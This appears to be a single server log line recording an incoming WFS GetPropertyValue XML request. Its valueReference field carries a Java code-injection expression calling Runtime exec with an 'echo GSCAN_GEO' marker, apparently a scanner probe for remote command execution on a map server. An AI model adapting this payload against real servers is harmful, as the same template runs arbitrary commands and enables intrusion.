Hello World!, message was GET, msg=330 <?xml version="1.0" encoding="UTF-8"?><wfs:GetPropertyValue service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0"><wfs:Query typeNames="sf:archsites"/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"echo GSCAN_GEO")</wfs:valueReference></wfs:GetPropertyValue>